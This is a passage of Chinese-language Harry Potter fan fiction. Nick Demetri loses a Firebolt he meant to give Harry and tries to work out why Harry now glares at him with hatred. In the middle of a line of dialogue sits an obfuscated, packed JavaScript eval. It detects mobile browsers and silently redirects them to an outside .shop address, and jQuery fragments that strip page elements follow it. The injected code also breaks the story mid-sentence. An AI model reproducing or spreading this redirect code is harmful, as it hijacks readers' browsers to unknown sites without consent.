许多年后的尼克·德米特里回忆起那个冬天时，仍然认为那是他人生中最漫长的日子——漫长到每一天都像在湿冷的湖底行走，头顶压着整片黑湖的水，而水面之上还有摄魂怪在盘旋。
那天，科林站在公共休息室入口的石墙旁边踌躇了尤其久。
他看到尼克走过来，才终于鼓起勇气，把手里的东西递过去：“尼克，魁地奇精品店给你寄了一封加急信。我知道你今天满课，所以就帮你取了。”
尼克点点头，说了声“谢谢”。
他接过那封信，拆开封蜡。信纸只有半页，字迹比之前的回信更紧凑，像是写这封信的人正在赶时间。
开头是惯常的客套话，然后中间段落用更粗的墨水写下了一行字：
「……致我方深表歉意。此前商定的火弩箭已在本周被另一位客户以高出原报价的价格购得。因您未提前支付定金，且该客户表示其需求非常紧急，我方已先行完成交易。如您仍有购买意向，我方可在下一批次中为您预留折扣。因妖精罢工的影响，最近一批的到货时间约为明年三月。再次为此次变动致歉……」
尼克把那几行字翻来覆去地读了好几遍。
这——怎么可能呢？火弩箭被买走了？被一个出价更高的买家抢走了？
而且还是突然之间？
是谁？是谁？
“尼克……”科林在旁边小声地喊他，“出什么事了吗？”
他的目光从纸上移开，落在科林那张写满了担忧的胖脸上。
“没事，”尼克深吸一口气，尽可能心平气和地说，“只是扫帚的事……稍微会有点麻烦。”
“要紧吗？”科林看起来非常紧张。
尼克轻轻摇摇头：“没事。”
他把信纸折好塞回信封里，但脑子里仍然转个不停。
他不知道是谁把这单子给截了。他更不知道的是——就在这天，韦斯莱双胞胎把活点地图送给了哈利，教他如何通过独眼女巫密道前往霍格莫德村。而在后天的霍格莫德日里，哈利·波特在那张桌子底下听到的东西将足以掀翻一整个地球。
这些事情，尼古拉斯·德米特里全都不知道。
他只知道一件事——在即将迈入十二月的时，哈利·波特看向他的眼神完全变了。
第一次注意到这种变化是在走廊里。
他和科林、塞西莉亚从魔药课教室出来，正好碰到哈利、罗恩和赫敏从反方向过来，三人似乎在争论什么。
尼克习惯性地冲他们的方向点了点头。没什么特别的。他们就是这样恰到好处的交情。
可哈利·波特没有给到任何称得上“好”的回应。
他的视线在接触到尼克的瞬间就飞远了。而在二人完全擦肩而过的瞬间，哈利突然用一种尼克从未见过的眼神扫过他——冰冷、愤怒、像在看一个不该出现在这里的东西——然后径直、快步走了过去，飞起来的袍子下摆打到了尼克的小腿，一阵生疼。
罗恩跟在哈利后面，表情也很紧张。只有赫敏欲言又止地看了他一眼，眼神复杂。
“他们怎么了？”科林小声问。
“不知道。”尼克说。
他确实不知道。他甚至没有来得及告诉哈利扫帚的事——他原本打算把一切安排妥当之后，在圣诞节前几天把最终的确认消息递过去，正式又严谨，具有极强的仪式感。
但计划莫名其妙地碎掉了。就像所有惊喜都耐不住推敲一样。
他们继续往前走，穿过门厅时，塞西莉亚的声音从旁边传来：“波特或许是被韦斯莱和格兰杰影响了。他们俩可因为老鼠和猫的事儿吵了不止一次架。”
科林赶忙问：“老鼠？和什么？和猫？它们把这些东西放在一个笼子里了？”
“格兰杰的那只猫啊。用韦斯莱的话说，是‘姜黄色的丑八怪‘，”塞西莉亚翻了个白眼，“据说，它咬过韦斯莱的老鼠。因此，韦斯莱对格兰杰相当不满。”
“在有老鼠的情况下，将一只猫带在身边……”尼克笑了一下。
塞西莉亚耸肩：“总之，就是这件破事。他们已经连续几周没怎么说话了——今天能看到他们走在一起，还蛮稀奇的。”
这个解释在最开始还是说得通的。尼克觉得，这纯粹是波特压力太大的副产品——摄魂怪、魁地奇事故、扫帚风波、友情纠葛，或许还有青春期。
但第二次、第三次、第四次接踵而至。
在图书馆，哈利隔着两张桌子看到他，立刻把目光移开，动作生硬得像被人掰过了头。
在大理石楼梯上，他们擦肩而过时，哈利的肩膀撞到了他的手臂，但没有说“抱歉”，反而狠狠地看了他一眼。尼克不禁思考，波特是不是把自己和马尔福认岔了。
但一个是黑头发，一个是金头发。不会吧？
在礼堂里，尼克偶然抬头，本来是想眺望一下丹妮尔的方向，却意外和格兰芬多长桌那边的哈利视线相接。
那双绿色的眼睛隔着悬浮的蜡烛看着他，里面有一种尼克从未见过的东西。
那一刻，尼克终于确认了——
是仇恨。
可——梅林啊，尼克什么都没做。
睡前，尼克甚至好好地回想了一遍自己这个月做过的所有事：上学、吃饭、写作业、帮波特选扫帚、睡觉。
他没有和波特说过任何一句不合适的话，更没有像马尔福那样在走廊里堵过他。
而波特看着他，像是他亲手在对方额头上刻了那道伤疤。
两天后，塞西莉亚在公共休息室里找到了他，手里没有拿书——这本身就是一种信号，说明她带来的不是课堂相关的内容。
她在尼克对面的扶手椅里坐下来，把围巾从脖子上解下来叠好，然后开口了：“我听说了一些事。关于格兰芬多的。你或许会感兴趣。”
尼克从书页上抬起目光：“什么事？”
“金妮·韦斯莱和罗恩·韦斯莱吵了一架。”塞西莉亚说，“这本来没什么——兄妹之间吵架在格兰芬多塔楼里大概比魁地奇训练还频繁——但我听着，好像和你妹妹也有关系。”
尼克把书合上了：“我妹妹？”
“不错。”塞西莉亚说，“金妮似乎是觉得，波特和韦斯莱不仅是在无缘无故地和格兰杰闹别扭，还在莫名其妙地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714971|205993||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
孤立丹妮尔。”
尼克有些困惑。但他这段时间确实没有和丹妮尔聊天，如果有什么事，确实是金妮了解得更为详细。
他问道：“孤立丹妮尔？具体指什么？”
“金妮没有说得很清楚。但她和罗恩吵架的内容似乎涉及了波特的态度。”塞西莉亚微微侧过头，“而这种变化恰好是在霍格莫德日之后开始的。你知道为什么吗？”
“……因为这个霍格莫德日没有人去给他代购东西？”尼克试探着冒出这么一句。
塞西莉亚翻了个巨大无比的白眼：“我没在跟你开玩笑，德米特里。”
“好吧。”尼克沉默了一会儿，“但说真的——我完全不清楚。波特最近对我也很奇怪，你也知道。”
塞西莉亚扶了扶眼镜，“是啊，那就更奇怪了。你最近没有和他有过任何冲突。你们甚至没有说过话。那么，到底有什么东西是我漏掉的？”她念叨着，坐到沙发椅上开始沉思。
“而且，我是真的不明白。”尼克看着塞西莉亚说，“韦斯莱和格兰杰又究竟是怎么回事？在我的印象里，他们每年都要吵架。波特因为这事儿烦躁——好像也能被视为情理之中了。”
“但这并不能解释他对你还有你妹妹的态度。”塞西莉亚指出，“如果只是韦斯莱和格兰杰在吵架，波特没有理由把你的名字也卷进去。更何况，你没什么对不起他的。”
尼克没有立刻回应。过了好一会儿，尼克才重新把书翻开。
“说不定是因为我让他想起了什么不愉快的事。但那明明与我无关。”他说，“难道是韦斯莱跟他说了什么？关于他们一年级的事情？”
塞西莉亚摇了摇头。她的动作不大，但很确定：“谁知道。但他们三个现在简直就是个火药桶。更何况，还有布莱克的事在围着他们转——全校都在提那个名字。咱们最好和他们保持距离。”
这话倒是说到尼克心坎了。
他不知道波特为什么看他像看仇人，但他知道他现在没有余力去解开那个结。
古代如尼文的翻译作业堆在书桌上，魔药课的论文截止日期越来越近，保护神奇生物课的观察记录还需要再补两页。
还有那封来自魁地奇精品店的信，仍然折好放在他的内袋里，像一个若隐若现的伤口。但这种阵痛反而是一种幸事——还好他没把那把扫帚买下来，否则可真是好心被当成驴肝肺。
“是啊，”尼克说，“你说得对。”
“以后总有机会用别的方法回礼，”塞西莉亚很坦率地说着，像是已经看穿了尼克脑子里还在纠结的事，“更何况，我真不觉得他能欠你什么——你现在最主要的任务还是把课程和作业稳扎稳打地做好。波特那边的事情，不是你能控制的。”
“你不明白。”尼克说。
无论怎么讲，他认为——哈利·波特手里有自己父亲的照片，并且在学期开始就给自己展示这事儿——在他的心里占据的位置要比任何人想象中的都大。
“好吧。”塞西莉亚看起来有点疲惫。她站起来，甩下一句话，“我还不想操你们的闲心呢。”
说完，她快步走出了休息室。